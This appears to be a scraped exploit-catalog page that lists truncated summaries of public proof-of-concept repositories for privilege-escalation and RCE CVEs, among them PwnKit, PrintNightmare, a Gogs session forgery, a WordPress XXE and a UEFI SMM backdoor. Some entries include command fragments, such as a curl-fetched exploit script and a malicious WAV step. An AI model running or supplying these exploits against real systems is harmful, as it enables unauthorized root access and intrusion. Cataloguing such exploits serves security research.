PwnKit

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh"...

CVE-2023-1326-PoC

CVE-2023-1326-PoC A proof of concept for CVE-2023–1326 in apport-cli 2.26.0 This vulnerability is privilege escalation in apport-cli 2.26.0, similar to CVE-2023–26604, this vulnerability only works if assign in sudoers: A privilege escalation attack was found in apport-cli 2.26.0 and earlier whic...

Gogs_RCE

GogsRCE Vulnerability Reproduction 0x01 Register a Regular Account on the Frontend 0x02 Compile a Forged Admin Session Using Go go run main.go root@kitploit: package main import "bytes" "encoding/gob" "encoding/hex" "fmt" "io/ioutil" func EncodeGobobj mapinterfaceinterface byte, error for , v :=...

SmmBackdoor

SMM backdoor for UEFI based platforms !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! This is legacy abandoned project, for current version of the backdoor check SMM Backdoor Next Gen project page and its documentation: https://github.com/Cr4sh/SmmBackdoorNg...

CVE-2021-1675-CVE-2021-34527

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | July 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare." Proof-of-concept exploits have been released Python, C++ for the remote code execution...

parallels-file-move-privesc

parallels-file-move-privesc This repository contains an exploit for CVE-2023-50226 / ZDI-CAN-21227, which can be used to escalate privileges to root using Parallels Desktop on versions before 18.3.2...

CVE-2019-19268

CVE-2019-19268 Versión afectada: rConfig 3.9.2. Descripción Múltiples vectores de ataque en rConfig v3.9.2 debido a una mala configuración, lo que permite a los usuarios locales ejecutar comandos root mediante sudo. Descubridores dmw0ng - Discord: dmw0ng4449 TheCyberGeek - Discord: TheCyberGeek18...

CVE-2021-29447

WordPress 5.6-5.7 - Authenticated Author+ XXE CVE-2021-29447 Using Step1. Run WordPress root@kitploit: $ make up-wp Step2. Run Attacker web server root@kitploit: $ make up-mal Step3. Generate malicious WAV file Without wavefile npm Recommend root@kitploit: $ echo -en...

CVE-2025-25617

CVE-2025-25617 Unifiedtransform v2.0 is vulnerable to Incorrect Access Control, allowing teachers to create syllabus entries — a role intended only for administrators. Vendor: Unifiedtransform PoC Step 1: Log in to the application as a Teacher. Step 2: Browse to the following endpoint:...

CVE-2022-41082-POC

CVE-2022-41082-POC PoC for the CVE-2022-41082 NotProxyShell OWASSRF Vulnerability Effecting Microsoft Exchange Servers This is Post-Auth RCE for ProxyNotShell OWASSRF, valid cardentials are needed for command execution. Added the Powershell PoC script for TabShell Vulnerability CVE-2022-41076 The...

CVE-2025-0087-

CVE-2025-0087- CVE-2025-0087 EoP PoC completo...

CVE-2023-23397-POC

CVE-2023-23397-POC Exploit POC for CVE-2023-23397 Appointment.cs : the modified file from https://github.com/Sicos1977/MsgKit/blob/master/MsgKit/Appointment.cs Exploit.cs : the code i used to replicate creating the malicious appointment . i modified the code picture in MDSEC article here :...

CVE-2024-54239

CVE-2024-54239 Eyewear prescription form = 4.0.18 - Missing Authorization to Unauthenticated Arbitrary Options Update Description The Eyewear prescription form plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability...

Exploit-PoC-para-CVE-2024-30085

🚨 Exploit PoC para CVE-2024-30085 Proof of Concept exploit para la vulnerabilidad de elevación de privilegios CVE-2024-30085. Sólo para propósitos educativos y de investigación en seguridad. ⚠️ Advertencia Legal USO EXCLUSIVAMENTE EDUCATIVO ✅ Investigación de seguridad autorizada ✅ Laboratorios...

CVE-2019-1253

CVE-2019-1253 Original Poc sent to MSRC. This issue has been fixed with September 2019 "Tuesday" regular update. Assigned to CVE-2019-1253 - Windows Elevation of Privilege Vulnerability. https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1253 There are two PoCs: the one...

REALITY_SMASHER

REALITYSMASHER vRealize RCE + Privesc CVE-2021-21975, CVE-2021-21983, CVE-0DAY-????? "As easy to stop as it is to comprehend." What is it? "Reality Smasher" is an exploit for vRealize leveraging the security issues addressed in VMSA-2021-0004 CVE-2021-21975, CVE-2021-21983 in addition to a...

SpoolFool

SpoolFool Exploit para CVE-2022-21999 - Vulnerabilidad de Elevación de Privilegios del Print Spooler de Windows LPE Detalles El exploit proporcionado debería funcionar por defecto en todas las versiones de escritorio de Windows. Consulte la publicación del blog para obtener todos los detalles...

sudo-exploit

Uso Nota: El directorio libnssX debe estar presente en el directorio de trabajo actual al ejecutar el exploit ubuntu 18.04 ubuntu 20.04...

tools-for-CVE-2018-1000001

Tools for CVE-2018-1000001 Check vulnerability: root@kitploit: $ cat /proc/sys/kernel/unprivilegedusernsclone Output: root@kitploit: 1 If file "/proc/sys/kernel/unprivilegedusernsclone" does not exists: root@kitploit: $ unshare -mU /bin/sh -c "sleep 5" & /bin/sh -c "sleep 1; cd /proc/$!/cwd;...

CVE-2024-0582

RU GenIoURingExploit is a PoC exploit targeting a specific vulnerability in the Linux kernel CVE-2024-0582. The PoC leverages the iouring mechanism to gain unintended access and potentially escalate privileges by manipulating socket buffers and triggering certain kernel behaviors. Features Utiliz...